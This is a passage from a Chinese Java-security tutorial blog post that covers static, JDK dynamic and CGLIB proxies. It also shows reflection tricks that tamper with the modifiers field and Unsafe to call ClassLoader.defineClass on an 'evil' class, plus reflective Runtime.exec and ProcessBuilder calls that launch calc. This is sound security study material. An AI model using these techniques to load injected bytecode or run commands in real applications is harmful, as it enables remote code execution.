Unsafe unsafe = (Unsafe) unsafeField.get(null);

Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
Field modifiers = getDeclaredField(defineClassMethod.getClass(), "modifiers");
unsafe.putShort(defineClassMethod, unsafe.objectFieldOffset(modifiers), (short) Modifier.PUBLIC);

byte[] bytes = getEvilClass("calc");
Class<?> aClass = (Class<?>) defineClassMethod.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length);
aClass.newInstance();

另外我们还可以用修改 final 变量的思路代替 Unsafe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = getDeclaredField(object.getClass(), fieldName);

Field modifiers = getDeclaredField(field.getClass(), "modifiers");
modifiers.setInt(field, field.getModifiers() & ~Modifier.FINAL);

field.set(object, value);
}

Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
setFieldValue(defineClassMethod, "modifiers", Modifier.PUBLIC);

byte[] bytes = getEvilClass("calc");
Class<?> aClass = (Class<?>) defineClassMethod.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length);
aClass.newInstance();

代理

在 Java 编程中,代理模式是一种设计模式,它允许开发者在方法调用的前后插入额外的逻辑。这种技术在许多实际应用中非常有用,例如日志记录、事务管理和安全检查。Java 代理模式可以分为静态代理动态代理

静态代理

静态代理的概念

静态代理是指在编译时由开发者创建的代理类。代理类与被代理类实现相同的接口,并在代理类中调用被代理类的方法。代理类可以在调用方法前后添加额外的逻辑。

静态代理的实现

静态代理有两种实现方式:

  • 基于接口的实现 :代理类实现与目标类相同的接口,并通过接口调用目标对象的方法。基于接口的代理实现方式灵活,可以代理多个不同类的实例,因此耦合度较低。
  • 基于继承的实现 :代理类通过继承目标类来实现代理,通常会重写目标类的方法并添加额外功能。基于继承的代理只能代理特定的目标类,无法代理其他类。因此,它的耦合度较高,因为代理类和目标类紧密绑定。这种实现方式在实际中很少使用。

我们以一个简单的服务接口 Service 和它的实现类 RealService 为例,展示静态代理的实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package com.example;

/**
* 演示“静态代理(Static Proxy)”模式的最小示例:
* - 抽象角色:Service(约定能力)
* - 真实角色:RealService(真正干活的实现)
* - 代理角色:ServiceProxy(在调用前后织入额外逻辑,再转发给真实对象)
* - 客户端:StaticProxyDemo(面向接口编程,只感知 Service)
*/
interface Service {
/**
* 对外暴露的统一能力;代理与真实对象都实现它
*/
void perform();
}

/**
* 真实业务实现(被代理者)
*/
class RealService implements Service {
@Override
public void perform() {
// 真实的业务逻辑
System.out.println("Performing service...");
}
}

/**
* 代理类:与被代理类实现同一接口,持有被代理对象的引用;
* 在转发调用前后可插入“横切逻辑”(鉴权、日志、事务、限流等)。
*/
class ServiceProxy implements Service {
/** 被代理的真实对象 */
private final Service realService;

/**
* 通过构造方法注入被代理对象
* @param realService 真实业务对象
*/
public ServiceProxy(Service realService) {
this.realService = java.util.Objects.requireNonNull(realService);
}

@Override
public void perform() {
// 1) 调用前:织入前置逻辑(例如:校验、记录日志、权限检查等)
System.out.println("Before performing service...");

// 2) 调用真实对象的方法(核心业务)
realService.perform();

// 3) 调用后:织入后置逻辑(例如:统计、清理、提交事务等)
System.out.println("After performing service...");
}
}

/**
* 客户端:只依赖抽象(Service),通过代理间接使用真实对象
*/
public class StaticProxyDemo {
public static void main(String[] args) {
// 创建真实对象
RealService realService = new RealService();
// 创建代理对象并注入真实对象
Service serviceProxy = new ServiceProxy(realService);
// 客户端面向接口调用,感知不到内部前后增强的细节
serviceProxy.perform();
}
}

在上述代码中定义了 Service 接口以及针对这个接口的代理类实现类

static_proxy

  • Service 接口 :定义了 perform 方法。
  • RealService 类 :是 Service 接口的实现类,实际业务逻辑在此实现。
  • ServiceProxy 类 :是静态代理类,控制对 RealService 的方法调用,允许在方法调用前后添加自定义逻辑。

main 方法中,通过代理类 ServiceProxy 来调用实际的 perform 方法。这个过程就是静态代理。

动态代理

动态代理的概念

动态代理指在运行时为目标对象动态生成代理类并拦截方法调用的一种机制。它与静态代理的最大区别是:无需手写代理类,而是由运行时(或框架)按需生成代理字节码并加载。Java 提供了基于接口的动态代理和基于类的动态代理(通过第三方库实现,如 CGLIB)。

  • 基于接口的动态代理java.lang.reflect.Proxy + InvocationHandler。只要有接口,就能在运行时生成实现该接口的 $Proxy... 类,并把方法调用分发给 InvocationHandler#invoke(...)
  • 基于类的动态代理 :借助 CGLIB / Byte Buddy 等库,通过生成目标类的子类并覆盖方法,在 intercept(...) 中织入逻辑。适用于没有接口或希望对具体类增强的场景。

提示

静态代理需要为每个被代理类型手写一个代理类;一旦接口或方法签名变动,这些代理类也要同步修改,样板代码多、维护成本高、耦合度大。

动态代理则在运行时按需生成代理类:方法调用会被统一转发到一个拦截器(如 InvocationHandler/MethodInterceptor),由拦截器决定是否、何时以及如何调用目标方法,并在调用前后织入日志、鉴权、事务、限流等横切逻辑,从而显著减少样板代码并提升复用与灵活性。

JDK 动态代理只适用于接口;若要代理具体类,通常使用 CGLIB/Byte Buddy(不能代理 final 类/方法,也不能拦截构造器或静态方法)。

基于接口的动态代理

基于接口的动态代理使用 JDK 提供的 java.lang.reflect.Proxy 类和 InvocationHandler 接口创建代理。代理对象通过实现一个或多个接口,在运行时动态生成并委托给 InvocationHandler 进行方法调用。适用于目标类实现了接口的场景。

代码实现

为了生成代理类,我们使用 Java 提供的 Proxy.newProxyInstance 方法,该方法的原型如下:

1
public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h);

newProxyInstance 方法动态生成代理类时,依赖于以下三个参数:

  • 被代理类的类加载器 loader

    • 代理类本身是 动态生成的,并且需要被 加载到 JVM 中
    • 这个 loader 参数传入的是 目标类(被代理类) 的类加载器,告诉 JVM 应该使用哪个类加载器来加载这个代理类。
    • 如果 loader 设置为 null,代理类将由调用该方法的类的类加载器加载。通常情况下,我们传入的是目标对象的类加载器(target.getClass().getClassLoader())。
  • 被代理类实现的接口 interfaces

    • 生成的代理类将实现被代理类的接口。
    • 这个 interfaces 是一个 接口数组,因为一个类可以实现多个接口,所以动态代理类也需要实现多个接口,从而能够代理多个接口的方法。
    • 该数组包含了目标类 实现的所有接口,以便生成的代理类能够符合这些接口的契约,确保我们能够调用接口中定义的方法。
  • InvocationHandler 接口的实现 h

    • InvocationHandler 是动态代理的核心,负责 拦截和转发方法调用

    • 每当代理对象的方法被调用时,InvocationHandlerinvoke() 方法会被触发。

    • 这个 h 参数就是一个实现了 InvocationHandler 接口的对象,它定义了代理对象的方法调用应该如何处理。

    • 通过 InvocationHandler,我们可以在方法执行前或执行后进行一些自定义操作,比如日志记录、权限验证、性能监控等。

这几个参数的关系如下图所示:

dynamic_proxy

提示

由于 Proxy.newProxyInstance 需要三个参数(类加载器、接口数组、调用处理器),我们可以在 InvocationHandler 的实现类 ServiceInvocationHandler 中**保存被代理对象 realService**:

1
2
3
4
5
6
7
8
9
class ServiceInvocationHandler implements InvocationHandler {
private Object realService;

public ServiceInvocationHandler(Object realService) {
this.realService = realService;
}

// [...]
}

这样我们就可以直接推导出 Proxy.newProxyInstance 所需的三个参数:

  • loader(类加载器):优先使用线程上下文类加载器(TCCL),退而求其次用 realService.getClass().getClassLoader()
  • interfaces(接口数组):使用 realService.getClass().getInterfaces() 自动收集目标对象已实现的接口。
  • h(调用处理器):就是当前的 thisServiceInvocationHandler 实例)。

因此我们只需定义一个 getProxyInstance() 工厂方法,就能可靠地生成代理对象。

1
2
3
4
5
6
7
8
// 封装获取动态代理对象的方法
public <T> T getProxyInstance() {
return (T) Proxy.newProxyInstance(
realService.getClass().getClassLoader(),
realService.getClass().getInterfaces(),
this
);
}

在调用被代理类 RealService 的方法时,代理类会将调用转发至 InvocationHandler 接口的实现类 ServiceInvocationHandlerinvoke 方法上。该方法的原型如下:

1
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable;
  • proxy :是“代理实例本身”(也就是 $ProxyN 对象),不是被代理的真实对象。

    注意

    invoke 里不要再通过 proxy 去调用业务方法(会**递归进入 invoke**);需要调用真实实现,应当保存并调用你自己的 realService

  • method :调用的被代理的方法对应的 Method 对象。

    提示

    这里直接提供了被代理方法的 Method 对象,因此动态代理的用法就十分灵活了。例如 MyBatis 框架就利用在这里利用 Method 对象反射解析接口中的 SQL 语句注解,然后根据传入的参数执行 SQL 语句并返回,而没有使用代理原本的功能,即 MyBatis 代理的接口没有实现类。

  • args :调用的被代理的方法时传入的参数列表。

完整的动态代理示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
package com.example;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

/**
* 示例目标接口:JDK 动态代理只支持“基于接口”的代理
* 若没有接口,需要使用 CGLIB/Byte Buddy 等“基于子类”的代理方案
*/
interface Service {
void perform();
}

/** 业务实现类:实现了 Service 接口,因而可被 JDK 动态代理 */
class RealService implements Service {
@Override
public void perform() {
System.out.println("Performing service...");
}
}

/**
* 代理的“调用处理器”:所有对代理对象的方法调用,都会被转发到这里的 invoke(...)
* 你可以在这里织入日志、鉴权、事务、重试、限流、指标埋点等横切逻辑
*/
class ServiceInvocationHandler implements InvocationHandler {
// 被代理的真实对象(也常叫 target / delegate)
private final Object realService;

public ServiceInvocationHandler(Object realService) {
// 实际项目中可加空指针校验;这里保持示例简洁
this.realService = realService;
}

/**
* 每次调用“代理对象”的任意方法(包含接口方法与 Object 的 equals/hashCode/toString),都会进入本方法
*
* @param proxy 代理实例本身($ProxyN 对象),不是 realService
* 注意:不要用 proxy 再反射调用方法,否则会递归再次进入 invoke
* @param method 接口上声明的方法(或 Object 的 equals/hashCode/toString)
* @param args 实参列表;无参方法时为 null(而不是长度为 0 的数组)
* @return 目标方法返回值;void 方法返回 null
* @throws Throwable 可以抛出任意异常;若抛出未在接口方法签名中声明的受检异常,
* 由生成的代理方法包装成 UndeclaredThrowableException 再抛出
*/
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
// —— 调用前(前置逻辑)——
System.out.println("Before method: " + method.getName());

// 正确做法:在“真实对象”上执行;切勿在 proxy 上执行(会导致无限递归)
// 这里 method 虽然“声明于接口”,但反射调用会按 Java 的虚分派规则,最终落到真实实现类的方法体上
Object result = method.invoke(realService, args);

// —— 调用后(后置逻辑)——
System.out.println("After method: " + method.getName());

return result;
}

/**
* 封装:生成一个实现了 realService 所有接口的“动态代理对象”
*
* Proxy.newProxyInstance 的三个关键参数:
* 1) ClassLoader:通常使用目标类的类加载器;在容器/模块化场景中,优先线程上下文类加载器(TCCL)更稳妥
* 2) interfaces:代理要实现的接口数组(JDK 动态代理“只能代理接口”,至少一个)
* 3) handler:调用处理器(this)
*/
@SuppressWarnings("unchecked")
public <T> T getProxyInstance() {
// 若 realService 未实现任何接口,此处会抛出 IllegalArgumentException(由 Proxy 校验)
// 生产代码可在这里主动检测并给出更友好的提示
return (T) Proxy.newProxyInstance(
// 类加载器:也可改为 Thread.currentThread().getContextClassLoader() 更通用
realService.getClass().getClassLoader(),
// 要实现的接口列表:这里直接取目标类已实现的全部接口
realService.getClass().getInterfaces(),
// 调用处理器:当前对象
this
);
}
}

/** 演示入口:创建代理 → 通过代理调用方法 → 调用前后会打印日志 */
public class DynamicProxyDemo {
public static void main(String[] args) {
// 真实业务对象
RealService realService = new RealService();

// 组装调用处理器(把真实对象传进去以便委派)
ServiceInvocationHandler handler = new ServiceInvocationHandler(realService);

// 创建“实现了 Service 接口”的代理对象($ProxyN)
Service proxyInstance = handler.getProxyInstance();

// 调用代理方法:会先进入 ServiceInvocationHandler#invoke,再反射调用到 RealService#perform
proxyInstance.perform();

// —— 额外说明 ——
// equals/hashCode/toString 也会被代理并进入 invoke:
// 可在 invoke 中用 if (method.getDeclaringClass() == Object.class) 分支单独处理自定义语义
// 无参方法时 args == null,别误判为空数组
// 需要调试生成的代理字节码,可在创建代理前开启:
// JDK 8 :-Dsun.misc.ProxyGenerator.saveGeneratedFiles=true
// JDK 9+ :-Djdk.proxy.ProxyGenerator.saveGeneratedFiles=true
}
}

原理分析

JDK 动态代理类是在运行时由 JVM 根据“接口数组 + 调用处理器”动态生成并 defineClass 的。默认这些类只存在于内存中,不会落盘。如果想把生成的 $ProxyN 写成 .class 文件,JDK 内置了调试用开关

将系统属性 sun.misc.ProxyGenerator.saveGeneratedFiles 设置为 true 就可以将生成的动态代理类保存在当前目录下。

  • JDK 8 及之前sun.misc.ProxyGenerator.saveGeneratedFiles=true
  • JDK 9 及之后jdk.proxy.ProxyGenerator.saveGeneratedFiles=true(注意前缀变了)

我们可以通过下面两种方式设置系统属性:

  • 启动参数:

    1
    2
    3
    4
    5
    # JDK 8 及之前
    java -Dsun.misc.ProxyGenerator.saveGeneratedFiles=true ...

    # JDK 9+(含 11/17/21 等)
    java -Djdk.proxy.ProxyGenerator.saveGeneratedFiles=true ...
  • 代码里设置(务必在创建任何代理之前):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    public static void main(String[] args) {
    // JDK 9+
    System.setProperty("jdk.proxy.ProxyGenerator.saveGeneratedFiles", "true");

    // 如需兼容 JDK 8,可同时设置老属性(多设置一个不影响):
    System.setProperty("sun.misc.ProxyGenerator.saveGeneratedFiles", "true");

    // ...随后再创建动态代理对象
    }

建议优先用 JVM 启动参数 -D 的方式,因为很多框架会很早创建代理;若在代码里再 System.setProperty(...)可能已经来不及

设置上述系统属性后,Java 会在当前工作目录System.getProperty("user.dir"))下,按包名创建子目录,并在其中创建 $Proxy0 类的类文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
package com.example;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.lang.reflect.UndeclaredThrowableException;

/**
* 这是 JDK 动态代理在运行期生成的类的“等价还原”示例:
* - 继承 Proxy,持有受保护字段 h(InvocationHandler)
* - 实现目标接口 Service
* - 每个方法都会把调用转发给 h.invoke(proxy, method, args)
*
* 注意:
* - 实际运行时类名通常形如 $Proxy0/$Proxy1...,包名在 JDK 8 为 com.sun.proxy,
* 在 JDK 9+ 常见 jdk.proxyN(N 为编号)。
*/
final class $Proxy0 extends Proxy implements Service {

// ---- 缓存 Method 对象(所有代理实例共享,避免每次反射查找开销)----
private static Method mEquals;
private static Method mToString;
private static Method mHashCode;
private static Method mPerform;

/**
* 构造器:把 InvocationHandler 交给父类 Proxy 存入受保护字段 h。
* 这里不声明 throws;失败会在调用阶段通过 UndeclaredThrowableException 包装。
*/
public $Proxy0(InvocationHandler h) {
super(h);
}

// ---- Object 的三大方法同样会被转发到 InvocationHandler ----

@Override
public final boolean equals(Object obj) {
try {
// 注意返回的是装箱类型,需要拆箱为 boolean
return ((Boolean) super.h.invoke(this, mEquals, new Object[]{obj})).booleanValue();
} catch (RuntimeException | Error ex) {
throw ex; // 运行时异常和 Error 直接透传
} catch (Throwable ex) {
// 其他受检异常统一包装,因为 equals 没有 throws 声明
throw new UndeclaredThrowableException(ex);
}
}

@Override
public final String toString() {
try {
return (String) super.h.invoke(this, mToString, null);
} catch (RuntimeException | Error ex) {
throw ex;
} catch (Throwable ex) {
throw new UndeclaredThrowableException(ex);
}
}

@Override
public final int hashCode() {
try {
return ((Integer) super.h.invoke(this, mHashCode, null)).intValue();
} catch (RuntimeException | Error ex) {
throw ex;
} catch (Throwable ex) {
throw new UndeclaredThrowableException(ex);
}
}

// ---- Service 接口方法,同样通过 InvocationHandler 分发 ----

@Override
public final void perform() {
try {
// 无返回值的方法也仍然经过 invoke,返回值会被忽略
super.h.invoke(this, mPerform, null);
} catch (RuntimeException | Error ex) {
throw ex;
} catch (Throwable ex) {
throw new UndeclaredThrowableException(ex);
}
}

// ---- 静态初始化:通过反射拿到 Method 并缓存 ----
static {
try {
// 这里使用 Class.forName 是生成器的通用做法;等价地也可直接用 Object.class / Service.class
Class<?> obj = Class.forName("java.lang.Object");
Class<?> svc = Class.forName("com.example.Service");

mEquals = obj.getMethod("equals", Object.class);
mToString = obj.getMethod("toString");
mHashCode = obj.getMethod("hashCode");
mPerform = svc.getMethod("perform");
} catch (NoSuchMethodException e) {
// 反射失败时转为链接期错误,保持与生成类一致的失败语义
throw new NoSuchMethodError(e.getMessage());
} catch (ClassNotFoundException e) {
throw new NoClassDefFoundError(e.getMessage());
}
}
}

$Proxy0 的构造函数在 Proxy.newProxyInstance 创建动态代理类时调用。

1
2
3
4
5
6
7
/**
* 构造器:把 InvocationHandler 交给父类 Proxy 存入受保护字段 h。
* 这里不声明 throws;失败会在调用阶段通过 UndeclaredThrowableException 包装。
*/
public $Proxy0(InvocationHandler h) {
super(h);
}

构造函数传入我们实现的 InvocationHandler 接口,该实现类直接传递给父类也就是 Proxy 的构造函数。在 Proxy 的构造函数将其保存在成员变量 h 中。

1
2
3
4
5
6
7
8
9
10
11
/**
* 通过指定的调用处理器(通常是动态代理类的一个实例)构造一个新的 {@code Proxy} 实例。
*
* @param h 该代理实例的调用处理器
*
* @throws NullPointerException 如果传入的调用处理器 {@code h} 为 {@code null},将抛出该异常。
*/
protected Proxy(InvocationHandler h) {
Objects.requireNonNull(h); // 检查传入的调用处理器是否为 null
this.h = h; // 将调用处理器赋值给实例变量 h
}

另外 $Proxy0 根据我们传入的被代理类的接口动态生成了对应的方法的代理,同时还生成了一些 Object 的方法的代理例如 equalstoString 等。

以被代理接口的 perform 方法为例,在 $Proxy0 的静态代码块中会通过反射获取被代理接口的 perform 方法。

1
performMethod = Class.forName("com.example.Service").getMethod("perform");

而在 perform 方法的实现中,$Proxy0 会调用前面保存的 InvocationHandler 的实现类 hinvoke 方法,并依次将代理类对象 $Proxy0perform 方法的 Method 对象,调用 perform 方法时传入的参数依次作为参数传递给 invoke

1
2
3
4
5
6
7
8
9
10
11
// 重写 perform 方法(来自 Service 接口)
public final void perform() throws {
try {
// 使用 InvocationHandler 调用目标类的 perform 方法
super.h.invoke(this, performMethod, (Object[]) null);
} catch (RuntimeException | Error ex) {
throw ex; // 重新抛出 RuntimeException 或 Error
} catch (Throwable ex) {
throw new UndeclaredThrowableException(ex); // 处理其他异常
}
}

基于类的动态代理(CGLIB)

CGLIB(Code Generation Library)是一个功能强大的字节码生成和修改库,广泛用于 Java 中动态生成代理类。它可以在运行时动态地创建一个子类并对其进行增强(如添加代理方法、拦截器等),常常用于 AOP(面向切面编程)或其他需要动态代理的场景。

CGLIB 通过动态生成子类来实现代理功能。它不像 JDK 动态代理那样要求目标类实现接口,而是通过继承目标类来生成代理类。

另外 CGLIB 是基于字节码操作在运行时动态生成代理类,因此相比于传统的反射机制,它的性能更高。

CGLIB 动态代理的应用过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import net.sf.cglib.proxy.Enhancer;
import net.sf.cglib.proxy.MethodInterceptor;
import net.sf.cglib.proxy.MethodProxy;

class Service {
public void doSomething() {
System.out.println("Service is doing something.");
}
}

public class CGLibExample {
public static void main(String[] args) {
// 创建 Enhancer 对象
Enhancer enhancer = new Enhancer();
// 设置目标类
enhancer.setSuperclass(Service.class);
// 设置回调函数(拦截器)
enhancer.setCallback(new MethodInterceptor() {
@Override
public Object intercept(Object obj, java.lang.reflect.Method method, Object[] args,
MethodProxy proxy) throws Throwable {
System.out.println("Before method call");
// 调用目标类的方法
Object result = proxy.invokeSuper(obj, args);
System.out.println("After method call");
return result;
}
});

// 创建代理类实例
Service proxy = (Service) enhancer.create();
// 调用代理类方法
proxy.doSomething();
}
}

我们需要在 Maven 中引入 cglib:

1
2
3
4
5
<dependency>
<groupId>cglib</groupId>
<artifactId>cglib</artifactId>
<version>3.2.12</version>
</dependency>

另外如果想看 CGLIB 动态生成的代理类的实现可以添加如下设置:

1
System.setProperty(DebuggingClassWriter.DEBUG_LOCATION_PROPERTY, "output/");

命令执行

反射执行命令

在 Java 中,我们可以使用 Runtime.getRuntime()ProcessBuilder 来执行外部命令(例如操作系统命令或运行其他程序)。

getRuntime

java.lang.Runtime 是一个与 Java 虚拟机(JVM)交互的接口,它提供了一些方法来执行外部命令和管理系统资源。其中 exec 方法是执行外部命令的主要方法。它会启动一个新的进程来执行指定的命令。

java.lang.Runtime 执行命令需要先获取 Runtime 对象。由于 Runtime 是单例模式,因此需要调用 RuntimegetRuntime 方法来获取。之后调用 Runtime 对象的 exec 方法执行命令。对应 java 语句如下:

1
Runtime.getRuntime().exec("calc");

改写成反射形式如下:

1
2
3
4
5
6
Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(
Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(
null
),
"calc"
);

当然,也可以使用 getDeclaredConstructor 获取 Runtime 的私有构造来创建 Runtime 实例。不过高版本 JDK 调用私有构造类需要绕过。

1
2
3
4
5
6
7
Class<?> runtimeClass = Class.forName("java.lang.Runtime");
Constructor<?> runtimeConstructor = runtimeClass.getDeclaredConstructor();
setFieldValue(runtimeConstructor,"modifiers", Modifier.PUBLIC);
runtimeConstructor.setAccessible(true);
Object runtimeInstance = runtimeConstructor.newInstance();
Method execMethod = runtimeClass.getMethod("exec", String.class);
execMethod.invoke(runtimeInstance, "calc");

ProcessBuilder

java.lang.ProcessBuilder 是 Java 中用于创建和管理操作系统进程的一个类,我们可以用来执行命令。对应 java 语句如下:

1
(new ProcessBuilder("calc")).start();

改写成反射形式如下,其中 ProcessBuilder 的构造函数参数是可变参数,因此需要传入 List

1
2
3
4
5
Class.forName("java.lang.ProcessBuilder").getMethod("start").invoke(
Class.forName("java.lang.ProcessBuilder").getConstructor(String[].class).newInstance(
new String[][]{{"calc.exe"}}
)
);
  • Title: Java 安全基础
  • Author: sky123
  • Created at : 2024-11-11 23:50:14
  • Updated at : 2025-10-28 12:50:31
  • Link: https://skyi23.github.io/2024/11/11/Java 安全基础/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
Java 安全基础